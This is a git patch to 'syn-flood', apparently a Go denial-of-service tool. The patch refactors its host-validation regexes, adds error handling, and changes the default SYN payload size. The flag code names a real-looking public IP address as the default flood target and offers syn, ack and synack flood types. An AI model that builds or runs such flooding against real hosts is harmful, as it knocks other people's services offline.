From 01ca65ebd57c9dabb4a74f0d0b98bb4097770c04 Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Mon, 22 Nov 2021 02:14:57 +0300 Subject: [PATCH] handle errors on regex match operations --- cmd/syn-flood/main.go | 25 ++++++++++++++++++++----- internal/options/options.go | 2 +- 2 files changed, 21 insertions(+), 6 deletions(-) diff --git a/cmd/syn-flood/main.go b/cmd/syn-flood/main.go index abc4f68..2e761ba 100644 --- a/cmd/syn-flood/main.go +++ b/cmd/syn-flood/main.go @@ -13,16 +13,31 @@ import ( "strings" ) +const ( + IpRegex = "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$" + DnsRegex = "^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\\-]*[A-Za-z0-9])$" +) + +var ( + isIP, isDNS bool + err error + sfo = options.GetSynFloodOptions() + host = sfo.Host +) + func init() { bannerBytes, _ := ioutil.ReadFile("banner.txt") banner.Init(os.Stdout, true, false, strings.NewReader(string(bannerBytes))) } func main() { - sfo := options.GetSynFloodOptions() - host := sfo.Host - isIP, _ := regexp.MatchString("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", host) - isDNS, _ := regexp.MatchString("^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\\-]*[A-Za-z0-9])$", host) + if isIP, err = regexp.MatchString(IpRegex, host); err != nil { + log.Fatalf("a fatal error occured while matching provided --host with IP regex: %s", err.Error()) + } + + if isDNS, err = regexp.MatchString(DnsRegex, host); err != nil { + log.Fatalf("a fatal error occured while matching provided --host with DNS regex: %s", err.Error()) + } if !isIP && isDNS { log.Printf("%s is a DNS record, making DNS lookup\n", host) @@ -35,7 +50,7 @@ func main() { host = ipRecords[0].String() } - if err := raw.StartFlooding(host, sfo.Port, sfo.PayloadLength, sfo.FloodType); err != nil { + if err = raw.StartFlooding(host, sfo.Port, sfo.PayloadLength, sfo.FloodType); err != nil { log.Fatalf("an error occured on flooding process: %s", err.Error()) } } diff --git a/internal/options/options.go b/internal/options/options.go index e7a87cf..c46ec78 100644 --- a/internal/options/options.go +++ b/internal/options/options.go @@ -31,6 +31,6 @@ type SynFloodOptions struct { func (sfo *SynFloodOptions) addFlags(fs *pflag.FlagSet) { fs.StringVar(&sfo.Host, "host", "213.238.175.187", "Provide public ip or DNS of the target") fs.IntVar(&sfo.Port, "port", 443, "Provide reachable port of the target") - fs.IntVar(&sfo.PayloadLength, "payloadLength", 1500, "Provide payload length in bytes for each SYN packet") + fs.IntVar(&sfo.PayloadLength, "payloadLength", 1400, "Provide payload length in bytes for each SYN packet") fs.StringVar(&sfo.FloodType, "floodType", "syn", "Provide the attack type. Proper values are: syn, ack, synack") }